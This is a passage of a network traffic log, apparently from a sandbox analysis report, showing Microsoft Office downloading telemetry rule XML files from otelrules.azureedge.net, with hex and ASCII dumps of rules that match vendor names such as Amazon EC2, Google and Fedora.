<O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:17 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:17 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 00deeadb-901e-007b-4a91-3bac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011417Z-15b8b599d88f9wfchC1TEBm2kc00000003vg0000000099a8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:17 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:17 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:17 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011417Z-178bfbc474bpnd5vhC1NYC4vr40000000590000000006w01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:18 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:17 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:18 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011418Z-178bfbc474bw8bwphC1NYC38b4000000053g000000007u0b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:18 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:18 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:18 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 2abfc2a9-b01e-003d-094d-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011418Z-15b8b599d885v8r9hC1TEB104g00000003sg00000000ayvr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:18 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:18 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:18 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 9177d9ad-001e-0028-350e-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011418Z-178bfbc474btvfdfhC1NYCa2en00000005ag00000000btnr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:18 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:19 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011420Z-174c587ffdf7t49mhC1TEB4qbg00000003n000000000dz11 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:20 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b6ecb1ee-501e-008f-3044-3c9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011420Z-15b8b599d882l6clhC1TEBxd5c00000003ng00000000924u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:20 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:20 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011420Z-178bfbc474bxkclvhC1NYC69g4000000055g00000000bp70 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:20 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:20 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7e801f10-e01e-003c-746c-3dc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011420Z-15b8b599d889gj5whC1TEBfyk000000003k000000000abmh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:20 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:21 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: ce4e00c6-401e-00a3-3516-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011421Z-178bfbc474bpscmfhC1NYCfc2c00000003rg00000000nf22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:21 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:22 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011422Z-174c587ffdftv9hphC1TEBm29w00000003k000000000phhk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:22 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 43acaf28-701e-006f-5cf7-3cafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011422Z-178bfbc474b7cbwqhC1NYC8z4n0000000590000000000dqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 01:14:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 